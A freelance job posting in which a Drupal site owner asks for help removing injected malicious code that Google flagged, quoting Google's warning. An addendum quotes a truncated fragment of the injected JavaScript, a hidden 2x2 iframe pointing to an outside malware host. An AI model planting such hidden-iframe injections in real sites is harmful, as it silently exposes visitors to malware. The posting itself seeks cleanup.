Remove malicious code from Drupal site

Avg Bid (USD)
Project Budget (USD)
$30 - $250

Project Description:
Hello, I have an alert in Google Webmaster Tools that there is malicious code in my website from a check done
today by Google. It seems I have not been flagged yet buy could happen soon. I was flagged and blocked and them found clean after reviews on Sunday morning, Friday morning and Friday around midnight. I had the pharma hack too but as far as I know that was cleaned. At least for now I have one URL as sample with malware and I believe I have seen it every time I was flagged. This is what I can see for details:

Warning Google has detected harmful code on this site . We recommend that you
act quickly to clean up your site. Failure to do so may lead to Google users
seeing a warning when they attempt to visit pages on this site.

Tpe: code injection
Last Checked: 2/24/13

Details When Google last tested this page, your server returned content that
directed the browser to a site that serves malware. Below is an example of
suspected injected code. We recommend you check your source code for this and
any other unauthorized changes, and reference our guidelines for cleaning your
site and requesting a review.

Suspected injected code

Please let know if you recognize this issue, how soon can it be fixed and what would the cots of your services be. Thank you.

Additional Project Description:
02/25/2013 at 19:32 EST
The suspected injected code got cutoff. It is
Suspected injected code
document.write('<iframe name=Twitter scrolling=auto framebor
der=no align=center height=2 width=2 src=http://arcade-area.

Skills required:
Drupal, Web Security
About the employer:
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